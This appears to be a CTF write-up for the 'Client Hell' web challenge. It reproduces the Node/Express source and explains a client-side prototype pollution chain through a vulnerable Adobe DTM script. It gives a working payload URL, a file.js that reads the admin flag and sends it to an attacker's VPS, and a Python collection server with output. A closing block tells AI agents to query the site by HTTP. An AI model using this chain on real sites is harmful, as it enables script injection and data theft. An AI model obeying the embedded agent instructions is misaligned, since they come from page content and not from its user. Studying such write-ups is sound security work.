# Client Hell

## Application Resources&#x20;

### Application source code

```javascript
const express = require('express');
const cookieParser = require("cookie-parser");
const path = require('path')
const sessions = require('express-session');
const nunjucks = require('nunjucks');
const parser = require('url');
const { userTable, notesTable } = require('./database');
const { visit } = require('./bot');

const app = express();

app.use(express.urlencoded({ extended: true }));

const oneDay = 1000 * 60 * 60 * 24;
app.use(sessions({
    secret: process.env.SECRET,
    saveUninitialized: true,
    sameSite: 'none',
    cookie: { maxAge: oneDay },
    resave: false
}));

app.use(cookieParser());

nunjucks.configure('views', {
	autoescape: true,
	express: app
});

app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));

app.use((req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader(
      'Access-Control-Allow-Methods',
      'OPTIONS, GET, POST, PUT, PATCH, DELETE'
    );
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    next();
});

app.get('/', (req, res) => {
    if(req.session.loggedIn){
        const query = "SELECT notes from notes where username = ?";
        const param = [req.session.username];
        let result = [];
        notesTable.all(query, param, (err, rows) => {
            if(err) console.log(err);
            for(let i = 0; i < rows.length; i++){
                result.push(rows[i].notes);
            }
            return res.render('home.html', { username: req.session.username, notes: result });
        });
    }else{
        return res.redirect('/login')
    }
});

app.get('/login', (req, res) => {
    return res.render('login.html');
});

app.get('/register', (req, res) => {
    return res.render('register.html')
});

app.post('/register', (req, res) => {
    const { username } = req.body;
    const { password } = req.body;
    let msg;
    const query = "SELECT username from user where username = ?";
    const param = [username];

    userTable.all(query, param, (err, rows) => {
        if(err) console.log(err);
        if(rows.length != 0){
            msg = "username already exists";
            return res.render('register.html', { msg: msg });
        }else{
            msg = "User have been created";
            const query2 = "INSERT INTO user(username, password) VALUES (?,?)";
            const param = [username, password]
            userTable.run(query2, param);
            return res.render('register.html', { msg: msg });
        }
    });
});

app.post('/login', (req, res) => {
    const { username } = req.body;
    const { password } = req.body;
    let msg = ""
    const query = "SELECT username, password from user where username = ? and password = ?";
    const param = [username, password];
    if(username && password){
        userTable.all(query, param, (err, rows) => {
            if(err) return;
            if(rows.length != 0){
                req.session.loggedIn = true;
                req.session.username = username;
                return res.redirect('/');
            }else{
                msg = "username or password is incorrect";
                return res.render('login.html', { msg: msg });
            }
        })
    }
});

app.post("/note", (req, res) => {
    if(req.session.loggedIn){
        const { note } = req.body;
        const query = "INSERT INTO notes(username, notes) VALUES (?,?)";
        const param = [req.session.username, note];
        notesTable.run(query, param, () => {
            return res.redirect('/');
        });
    }else{
        return res.redirect('/login');
    }
})

app.get('/report', (req, res) => {
    if(req.session.loggedIn){
        return res.render('report.html');
    }else{
        if(req.ip.includes('127.0.0.1')){
            return res.render('report.html');
        }else{
            return res.redirect('/login');
        }
    }
});

app.post('/admin/review', async (req, res) => {
    const { url } = req.body;
    regex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if(decodeURIComponent(url).match(regex)){
        const parse_url = parser.parse(url);
        if(parse_url.host.split(':')[0] == "127.0.0.1"){
            await visit(url).then(res => {
                console.log(url);
            }).catch(e => {
                console.log(e);
            });
            return res.json({msg: "We sent your report to the admin"});
        }else{
            return res.json({msg: "Invalid url"});
        }
    }else{
        res.json({msg: "please submit a url"});
    }
});

app.get('/admin/note', (req, res) => {
    if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
    return res.json({flag: process.env.FLAG});
});

app.get('/logout', (req, res) => {
    req.session.destroy();
    res.redirect('/');
});

app.listen(1337, () => {
    console.log("Listening on port 1337")
});

```

### report.html content

```html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>Home</title>
		<link rel="stylesheet" href="/static/style.css">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
        <link rel="stylesheet" href="/static/index.css">
	</head>
	<body class="loggedin">
		<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>
		<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
        <script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></script>
		<nav class="navtop">
			<div>
				<h1>Notes</h1>
				<a href="/report"><i class=""></i>report</a>
				<a href="/logout"><i class="fas fa-sign-out-alt"></i>Logout</a>
			</div>
		</nav>
		<div class="content">
			
        <h1><center>Report a URL to the admin</center></h1>
        <form id="myForm" method="get" class="example" style="margin:auto;max-width:600px">
            <input id="url" type="text" placeholder="Enter a url" name="url">
            <button id="submit" type="submit">report</button>
            <br>
            <br>
            <div id="msg" class="msg"></div>
        </form>
        <script>
            const fetchData = async () => {
                const url = document.getElementById('url').value;
                await fetch("/admin/review", {
                    method: "POST",
                    mode: 'cors',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `url=${url}`
                }).then(res => res.json()).then(res2 => {
                    document.getElementById('msg').innerHTML = res2.msg;
                }).catch(() => {
                    document.getElementById('msg').innerHTML = "Something went wrong";
                })
            }

            const form = document.getElementById( "myForm" );
            form.addEventListener('submit', event => {
                event.preventDefault();
                fetchData();
            });
        </script>

		</div>
	</body>
</html>
```

## Exploitation

### Quick analysis

```javascript
app.post('/admin/review', async (req, res) => {
    const { url } = req.body;
    regex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if(decodeURIComponent(url).match(regex)){
        const parse_url = parser.parse(url);
        if(parse_url.host.split(':')[0] == "127.0.0.1"){
            await visit(url).then(res => {
                console.log(url);
            }).catch(e => {
                console.log(e);
            });
            return res.json({msg: "We sent your report to the admin"});
        }else{
            return res.json({msg: "Invalid url"});
        }
    }else{
        res.json({msg: "please submit a url"});
    }
});

app.get('/admin/note', (req, res) => {
    if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
    return res.json({flag: process.env.FLAG});
});
```

* Route `/admin/review` requires a `url` in the `POST` request body. **Line 2**
* Regex could be bypassed by encoding the special characters with URLEncode. **Line 3 to Line 4**
* The provided URL host must be equal to 127.0.0.1 **Line 6**
* The bot (chromium) accesses the URL. **Line 7**
* The flag can be obtained via `/admin/note` route only if the client ipAddress is 127.0.0.1. **Line 22 to 23**

```javascript
app.get('/report', (req, res) => {
    if(req.session.loggedIn){
        return res.render('report.html');
    }else{
        if(req.ip.includes('127.0.0.1')){
            return res.render('report.html');
        }else{
            return res.redirect('/login');
        }
    }
});
```

the developer used a vulnerable **Adobe Dynamic Tag Management** that is included in `report.html` (Client Side Prototype Pollution). [\[1\]](https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/adobe-dtm.md)

```markup
<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>
```

### Exploit

I developed a custom payload for the client-side prototype pollution that bypasses most regex special characters without encoding.

#### Note you must change `VPS.IPAddress` to your VPS IPAddress.

**Payload**

```
http://127.0.0.1:1337/report?__proto__[src]=http://VPS.IPAddress/file.js
```

**POST Request Payload**

```url
url=http://127.0.0.1:1337/report?__proto__%5bsrc%5d=http://VPS.IPAddress/file.js
```

* encodes `[]`only.

**file.js** Content

```javascript
let get = async (url) => {
    let data = await fetch(url, { mode: 'cors' })
        .then( (response) => { return response.text() })
        .then( data => {
            return btoa(data);
        })
        .catch( (error) => { return btoa(error.toString()) });
    return data;
};

let ipAddress = 'VPS.IPAddress';
let execute = () => {
    get('http://127.0.0.1:1337/admin/note')
    .then( (data) => {
        get(`http://${ipAddress}/?response=${data}`);
    });
};
execute();
```

**server.py** Content

```python
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
from urllib.parse import urlparse, parse_qs
from base64 import b64decode

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        params = parse_qs(urlparse(self.path).query)
        if 'response' in params:
            data = b64decode(params['response'][0])
            print(data)
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer, port=80)
```

**Result**

```bash
root@ubuntu-s-2vcpu-2gb-amd-lon1-01:/dev/shm# python3 server.py 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
"GET /file.js HTTP/1.1" 200 -
"GET /?response=eyJmbGFnIjoiZmxhZ3tZb3VfR290X0l0fSJ9 HTTP/1.1" 200 -
b'{"flag":"flag{You_Got_It}"}'
```

## References

1. <https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/adobe-dtm.md>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/cyber-night-3/client-hell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
